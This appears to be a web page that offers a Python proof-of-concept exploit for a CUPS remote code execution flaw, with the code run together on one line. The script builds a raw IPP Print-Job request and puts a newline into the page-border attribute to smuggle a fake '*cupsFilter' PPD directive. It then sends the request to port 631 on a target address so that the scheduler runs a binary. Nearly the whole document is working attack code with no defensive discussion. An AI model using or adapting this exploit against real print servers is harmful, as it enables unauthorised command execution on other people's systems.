CVE-2026-34980 OpenPrinting CUPS远程代码执行漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-34980 (OpenPrinting CUPS RCE) This script demonstrates how to send a malicious Print-Job request to exploit the page-border parsing vulnerability. """ import socket import struct def create_ipp_request(printer_uri, exploit_payload): # Construct a basic IPP Print-Job request # Version 2.1 (0x02, 0x01) version = b'\x02\x01' # Operation Print-Job (0x0002) operation_id = struct.pack('>H', 0x0002) # Request ID request_id = struct.pack('>I', 1) # Operation Attributes Group # attributes-charset attr_charset = b'\x47' + b'\x00\x0b' + b'attributes-charset' + b'\x00\x05' + b'utf-8' # attributes-natural-language attr_lang = b'\x48' + b'\x00\x1a' + b'attributes-natural-language' + b'\x00\x05' + b'en-us' # printer-uri uri_bytes = printer_uri.encode('utf-8') attr_uri = b'\x45' + b'\x00\x0b' + b'printer-uri' + struct.pack('>H', len(uri_bytes)) + uri_bytes # Job Attributes Group (Exploit) # page-border (textWithoutLanguage) with newline injection attr_name = b'page-border' # The payload contains a newline (\n) to inject a PPD directive # This attempts to make the scheduler execute a binary like /usr/bin/vim value_bytes = exploit_payload.encode('utf-8') # Tag 0x35 for textWithoutLanguage attr_exploit = b'\x35' + struct.pack('>H', len(attr_name)) + attr_name + struct.pack('>H', len(value_bytes)) + value_bytes # End of attributes tag end_attrs = b'\x03' # Combine headers header = version + operation_id + request_id # Combine attributes attributes = attr_charset + attr_lang + attr_uri + attr_exploit + end_attrs return header + attributes if __name__ == "__main__": target = "192.168.1.10" port = 631 printer_uri = f"http://{target}:631/printers/SharedQueue" # Malicious payload injecting a newline and a fake PPD command # The description mentions the server parses the second line as a trusted control record. payload = "legit_value\n*cupsFilter: \"application/vnd.cups-pdf 0 /usr/bin/vim\"" print(f"[*] Sending exploit to {target}...") data = create_ipp_request(printer_uri, payload) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.send(data) print("[+] Payload sent. Check if /usr/bin/vim is executed by lp.") s.close() except Exception as e: print(f"[-] Error: {e}")